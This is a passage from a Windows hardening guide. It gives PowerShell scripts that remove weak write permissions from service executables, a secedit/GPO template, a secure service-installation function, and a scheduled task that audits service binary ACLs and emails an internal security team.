                    $identities = $weakACL | Select-Object -ExpandProperty IdentityReference -Unique

                    foreach ($identity in $identities) {
                        & icacls $servicePath /remove $identity 2>&1 | Out-Null
                    }

                    # Set secure permissions
                    & icacls $servicePath /inheritance:r 2>&1 | Out-Null
                    & icacls $servicePath /grant:r "SYSTEM:(F)" 2>&1 | Out-Null
                    & icacls $servicePath /grant:r "Administrators:(F)" 2>&1 | Out-Null
                    & icacls $servicePath /grant:r "Users:(RX)" 2>&1 | Out-Null

                    # Also fix parent directory if writable
                    if (Test-Path $serviceDir) {
                        $dirACL = Get-Acl $serviceDir
                        $weakDirACL = $dirACL.Access | Where-Object {
                            ($_.FileSystemRights -match 'Write|Modify|FullControl') -and
                            ($_.IdentityReference -match 'Users|Everyone|Authenticated')
                        }

                        if ($weakDirACL) {
                            $dirIdentities = $weakDirACL | Select-Object -ExpandProperty IdentityReference -Unique
                            foreach ($identity in $dirIdentities) {
                                & icacls $serviceDir /remove $identity 2>&1 | Out-Null
                            }
                        }
                    }

                    $results += [PSCustomObject]@{
                        Timestamp = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'
                        ServiceName = $_.Name
                        ServicePath = $servicePath
                        Status = "SUCCESS"
                        Message = "Permissions hardened"
                    }
                }
                catch {
                    $results += [PSCustomObject]@{
                        Timestamp = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'
                        ServiceName = $_.Name
                        ServicePath = $servicePath
                        Status = "FAILED"
                        Message = $_.Exception.Message
                    }
                }
            }
        }
    }
}

# Export results
$results | Export-Csv $logFile -NoTypeInformation
$results | Format-Table -AutoSize

Write-Host "`nRemediation Summary:" -ForegroundColor Cyan
Write-Host "Total Fixed: $(($results | Where-Object {$_.Status -eq 'SUCCESS'}).Count)" -ForegroundColor Green
Write-Host "Failed: $(($results | Where-Object {$_.Status -eq 'FAILED'}).Count)" -ForegroundColor Red
Write-Host "Log saved: $logFile" -ForegroundColor Cyan

Preventive measures

Group Policy hardening

GPO-based controls:

# Enable file system auditing via GPO
# Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration
# > Object Access > Audit File System (Success, Failure)

# Restrict service installation to administrators
# Computer Configuration > Policies > Windows Settings > Security Settings > System Services
# Set all non-Windows services to require administrative approval

# Deploy via PowerShell
secedit /configure /db secedit.sdb /cfg secure_services.inf

# secure_services.inf:
# [Service General Setting]
# "CustomService",2,"D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)"

Application installation standards

A template for deploying a service with correct permissions:

# Secure service deployment function
function Install-SecureWindowsService {
    param(
        [string]$ServiceName,
        [string]$DisplayName,
        [string]$ExecutablePath,
        [string]$InstallPath = "C:\Program Files\$DisplayName",
        [string]$ServiceAccount = "LocalSystem"
    )

    # Create installation directory with proper permissions
    New-Item -Path $InstallPath -ItemType Directory -Force | Out-Null

    # Set secure directory permissions
    icacls $InstallPath /inheritance:r
    icacls $InstallPath /grant:r "SYSTEM:(OI)(CI)(F)"
    icacls $InstallPath /grant:r "Administrators:(OI)(CI)(F)"
    icacls $InstallPath /grant:r "Users:(OI)(CI)(RX)"

    # Copy executable
    Copy-Item $ExecutablePath -Destination $InstallPath -Force

    # Set secure file permissions
    $serviceExe = Join-Path $InstallPath (Split-Path $ExecutablePath -Leaf)
    icacls $serviceExe /inheritance:r
    icacls $serviceExe /grant:r "SYSTEM:(F)"
    icacls $serviceExe /grant:r "Administrators:(F)"
    icacls $serviceExe /grant:r "Users:(RX)"

    # Create service
    New-Service -Name $ServiceName `
                -DisplayName $DisplayName `
                -BinaryPathName "`"$serviceExe`"" `
                -StartupType Automatic `
                -Credential $ServiceAccount

    Write-Host "Service installed securely: $ServiceName" -ForegroundColor Green
}

# Usage
Install-SecureWindowsService -ServiceName "MyService" `
                             -DisplayName "My Application Service" `
                             -ExecutablePath ".\myapp.exe"

Continuous compliance monitoring

A scheduled compliance check:

# Deploy scheduled compliance check
$complianceScript = @'
$vulnerableServices = @()

Get-CimInstance -ClassName win32_service | ForEach-Object {
    $servicePath = ($_.PathName -split ' -')[0] -replace '"', ''

    if (Test-Path $servicePath -ErrorAction SilentlyContinue) {
        $acl = Get-Acl $servicePath -ErrorAction SilentlyContinue
        if ($acl) {
            $weakACL = $acl.Access | Where-Object {
                ($_.FileSystemRights -match 'Write|Modify|FullControl') -and
                ($_.AccessControlType -eq 'Allow') -and
                ($_.IdentityReference -match 'Users|Everyone|Authenticated')
            }

            if ($weakACL) {
                $vulnerableServices += [PSCustomObject]@{
                    Computer = $env:COMPUTERNAME
                    ServiceName = $_.Name
                    ServicePath = $servicePath
                    ServiceAccount = $_.StartName
                    WeakPermission = ($weakACL | ForEach-Object { "$($_.IdentityReference): $($_.FileSystemRights)" }) -join '; '
                }
            }
        }
    }
}

if ($vulnerableServices.Count -gt 0) {
    $body = $vulnerableServices | ConvertTo-Html -Head "<style>table {border-collapse: collapse;} th, td {border: 1px solid black; padding: 8px;}</style>" | Out-String
    Send-MailMessage -SmtpServer "smtp.company.com" `
                     -From "compliance@company.com" `
                     -To "security@company.com" `
                     -Subject "ALERT: Vulnerable Service Permissions on $env:COMPUTERNAME" `
                     -Body $body `
                     -BodyAsHtml
}
'@

# Deploy as scheduled task
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-ExecutionPolicy Bypass -Command `"$complianceScript`""
$trigger = New-ScheduledTaskTrigger -Weekly -DaysOfWeek Monday,Thursday -At 2am
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest

Register-ScheduledTask -TaskName "ServicePermissionCompliance" `
                       -Action $action `
                       -Trigger $trigger `
                       -Principal $principal `
                       -Description "Monitors service binary permissions for security compliance"

References

MITRE ATT&CK techniques

Common Weakness Enumeration

Microsoft documentation

Security resources

Next steps

On this page